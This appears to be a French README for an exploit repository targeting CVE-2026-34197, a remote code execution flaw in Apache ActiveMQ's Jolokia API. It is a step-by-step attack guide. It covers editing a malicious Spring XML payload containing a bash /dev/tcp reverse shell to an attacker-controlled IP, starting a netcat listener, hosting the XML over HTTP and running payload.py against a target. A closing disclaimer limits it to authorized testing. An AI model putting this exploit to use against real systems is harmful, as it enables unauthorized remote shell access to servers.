
Script d'exploitation pour CVE-2026-34197, ciblant l'API Jolokia d'Apache ActiveMQ pour obtenir une exécution de code à distance via une configuration Spring XML malveillante, avec capacité de shell inversé.
Ce dépôt fournit un environnement de reproduction et un script d'exploitation pour la vulnérabilité d'exécution de code à distance (RCE) basée sur l'interface API Jolokia exposée par Apache ActiveMQ (/api/jolokia/).
En appelant l'opération addNetworkConnector, on force ActiveMQ à analyser un fichier de configuration Spring XML distant malveillant, exploitant ainsi MethodInvokingFactoryBean pour exécuter des commandes système.
payload.py : Script d'exploitation principal, envoie des requêtes HTTP POST avec un nom de Broker dynamique.payload.xml : Fichier de configuration Spring Bean malveillant, contenant la charge utile de commande pour un reverse shell.pip install requests
apache/activemq-classic:6.1.0).payload.xml)Sur la machine d'attaque, ouvrez payload.xml et trouvez la section suivante :
<value>bash -c 'bash -i >& /dev/tcp/VOTRE_IP_SERVEUR_CLOUD/15000 0>&1'</value>
Remplacez l'IP par l'adresse IP publique de votre serveur cloud. Si l'environnement cible ne dispose pas de bash, remplacez-le par sh ou une autre méthode d'exécution selon l'environnement cible.
Sur la machine d'attaque (serveur cloud), ouvrez un terminal et écoutez sur le port spécifié (ex. 15000) :
nc -lvvp 15000
Remarque : Assurez-vous que le groupe de sécurité/pare-feu du serveur cloud autorise le trafic TCP entrant sur le port 15000.
Sur la machine d'attaque (dans le même répertoire que payload.xml), démarrez un serveur HTTP pour permettre à la cible de télécharger le fichier XML :
python3 -m http.server 9000
Remarque : Assurez-vous également que le groupe de sécurité/pare-feu du serveur cloud autorise le trafic TCP entrant sur le port 9000.
Sur la machine locale (ou la machine d'attaque), exécutez payload.py.
Le script accepte via les paramètres de ligne de commande l'IP:port de l'ActiveMQ cible (-t) et l'IP:port de la machine d'attaque hébergeant le XML (-a).
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
Après exécution, le script génère automatiquement un brokerName aléatoire (ex. rce_a1b2c3), afin de résoudre complètement l'erreur de conflit de noms java.io.IOException : Network Connector could not be registered in JMX.
Si l'exploitation réussit :
python3 -m http.server 9000) affichera une entrée de requête GET 200 pour /payload.xml.nc recevra une connexion de reverse shell provenant de la machine cible./bin/bash n'existe pas dans le conteneur cible (courant avec les images de base minimalistes comme Alpine). Modifiez la commande d'exécution dans payload.xml en /bin/sh, ou déposez un script via wget/curl puis exécutez-le.admin:admin).Ce script et ces instructions sont destinés uniquement aux tests de sécurité autorisés et à l'apprentissage pédagogique. Toute utilisation pour des tests illégaux non autorisés est strictement interdite. L'utilisateur est responsable de ses propres actions.